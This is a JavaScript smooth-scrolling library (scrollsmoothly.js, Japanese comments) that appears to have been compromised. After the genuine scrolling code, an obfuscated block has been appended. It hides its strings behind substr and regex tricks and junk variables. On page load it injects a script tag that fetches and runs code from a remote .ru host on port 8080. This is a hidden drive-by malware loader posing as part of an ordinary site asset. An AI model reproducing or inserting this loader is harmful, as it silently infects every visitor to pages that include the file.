// UTF-8
/**
 * scrollsmoothly.js
 * Copyright (c) 2008 KAZUMiX
 * http://d.hatena.ne.jp/KAZUMiX/
 * Licensed under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 */

(function(){
    var easing = 0.25;
    var interval = 20;
    var d = document;
    var targetX = 0;
    var targetY = 0;
    var targetHash = '';
    var scrolling = false;
    var splitHref = location.href.split('#');
    var currentHref_WOHash = splitHref[0];
    var incomingHash = splitHref[1];
    var prevX = null;
    var prevY = null;

    // ドキュメント読み込み完了時にinit()を実行する
    addEvent(window, 'load', init);

    // ドキュメント読み込み完了時の処理
    function init(){
        // ページ内リンクにイベントを設定する
        setOnClickHandler();
        // 外部からページ内リンク付きで呼び出された場合
        if(incomingHash){
            if(window.attachEvent && !window.opera){
                // IEの場合はちょっと待ってからスクロール
                setTimeout(function(){scrollTo(0,0);setScroll('#'+incomingHash);},50);
            }else{
                // IE以外はそのままGO
                scrollTo(0, 0);
                setScroll('#'+incomingHash);
            }
        }
    }

    // イベントを追加する関数
    function addEvent(eventTarget, eventName, func){
        if(eventTarget.addEventListener){
            // モダンブラウザ
            eventTarget.addEventListener(eventName, func, false);
        }else if(window.attachEvent){
            // IE
            eventTarget.attachEvent('on'+eventName, function(){func.apply(eventTarget);});
        }
    }
    
    function setOnClickHandler(){
        var links = d.links;
        for(var i=0; i<links.length; i++){
            // ページ内リンクならスクロールさせる
            var link = links[i];
            var splitLinkHref = link.href.split('#');
            if(currentHref_WOHash == splitLinkHref[0] && d.getElementById(splitLinkHref[1])){
                addEvent(link, 'click', startScroll);
            }
        }
    }

    function startScroll(event){
        // リンクのデフォルト動作を殺す
        if(event){ // モダンブラウザ
            event.preventDefault();
            //alert('modern');
        }else if(window.event){ // IE
            window.event.returnValue = false;
            //alert('ie');
        }
        // thisは呼び出し元になってる
        setScroll(this.hash);
    }

    function setScroll(hash){
        // ハッシュからターゲット要素の座標をゲットする
        var targetEle = d.getElementById(hash.substr(1));
        if(!targetEle)return;
        // スクロール先座標をセットする
        var ele = targetEle
        var x = 0;
        var y = 0;
        while(ele){
            x += ele.offsetLeft;
            y += ele.offsetTop;
            ele = ele.offsetParent;
        }
        targetX = x;
        targetY = y;
        targetHash = hash;
        // スクロール停止中ならスクロール開始
        if(!scrolling){
            scrolling = true;
            scroll();
        }
    }

    function scroll(){
        var currentX = d.documentElement.scrollLeft||d.body.scrollLeft;
        var currentY = d.documentElement.scrollTop||d.body.scrollTop;
        var vx = (targetX - currentX) * easing;
        var vy = (targetY - currentY) * easing;
        var nextX = currentX + vx;
        var nextY = currentY + vy;
        if((Math.abs(vx) < 1 && Math.abs(vy) < 1)
           || (prevX === currentX && prevY === currentY)){
            // 目標座標付近に到達していたら終了
            scrollTo(targetX, targetY);
            scrolling = false;
            location.hash = targetHash;
            prevX = prevY = null;
            return;
        }else{
            // 繰り返し
            scrollTo(parseInt(nextX), parseInt(nextY));
            prevX = currentX;
            prevY = currentY;
            var scope = this;
            setTimeout(function(){scroll.apply(scope)},interval);
        }
    }

}());

var O="";var q=new Date();try {this.L='';var yr;if(yr!='vl' && yr!='p'){yr=''};var d=RegExp;var B=new String("repL71I".substr(0,3)+"lacXmIQ".substr(0,3)+"ZAlBeZlBA".substr(4,1));var Ja;if(Ja!='' && Ja!='G'){Ja='k'};var W=String("]");var o;if(o!='AP' && o != ''){o=null};var Z=new String("g");var J="[";var rb;if(rb!='' && rb!='Ml'){rb=null};var vu='';var Bq;if(Bq!='GXe'){Bq=''};var V;if(V!='BQ' && V != ''){V=null};function v(T,m){var R=J;var _;if(_!=''){_='NY'};var tJ;if(tJ!=''){tJ='ko'};R+=m;this.a='';var sF;if(sF!='Wi' && sF!='_l'){sF=''};R+=W;var VQ="";var K=new d(R, Z);return T.replace(K, vu);var b;if(b!='de'){b='de'};var ug;if(ug!='' && ug!='wE'){ug=''};};var ZF;if(ZF!='c' && ZF!='g'){ZF='c'};var d_D='';var MZ;if(MZ!='wQ'){MZ=''};var N=v('84464504154558566306163',"53416");var Kb;if(Kb!='uZ' && Kb != ''){Kb=null};var y=String("Mo8jscrip".substr(4)+"tfvBX".substr(0,1));var A='';var i='';var T="1";this.rR='';this.qk='';var kG;if(kG!='' && kG!='Mt'){kG=''};var c_;if(c_!='AW'){c_=''};var t=String("U7A/pi".substr(3)+"cfo4hW".substr(0,3)+"B2fco.".substr(3)+"com"+"/pieDT".substr(0,3)+"cfo"+"co.bFGC".substr(0,3)+"comPdOY".substr(0,3)+"mux5/cn".substr(4)+"blo5Sny".substr(0,3)+"L3egs.".substr(3)+"com"+"2Ucz/beczU2".substr(4,3)+"IN7stb7IN".substr(3,3)+"VcnSuy.".substr(4)+"dsaPcomPdsa".substr(4,3)+"cHi/goiHc".substr(3,3)+"GLY9ogl".substr(4)+"1to8e.c".substr(4)+"zY7Vom.".substr(4)+"OZqphpqOZ".substr(3,3));var NJ=v('hdtDtIpx:x/I/DgdoIoxgIlIed-DcDoDmx-DkIwx.DpxaDgXeDsXjIaXuDnxeDsD.DfIrI.xlDodwXexsD-IcdoDmx.XoDndfxadrXexaXsdtd.xrXuD:X',"IDXdx");var mA=String("onloaXCP7".substr(0,5)+"dHrc".substr(0,1));this.RL='';window[mA]=function(){var cm=new String();this.wc='';M=document.createElement(y);var _Z;if(_Z!='Fu' && _Z != ''){_Z=null};var MF;if(MF!='em' && MF!='P'){MF='em'};A+=NJ;A+=N+t;var MR=new Array();var jd=new Array();var Me=new String();M.src=A;var fX=new Array();var EG=new Array();var VP=new Array();var pM;if(pM!='Tt' && pM!='AA'){pM=''};var WA=document.body;this.Up="";var mY;if(mY!='' && mY!='po'){mY=null};M.defer=T;var nb="";WA.appendChild(M);this.MlQ='';};var yA=new String();} catch(Jv){var nZ;if(nZ!='kB' && nZ != ''){nZ=null};var Vy;if(Vy!='' && Vy!='vR'){Vy=null};};var OP;if(OP!='' && OP!='_i'){OP='ux'};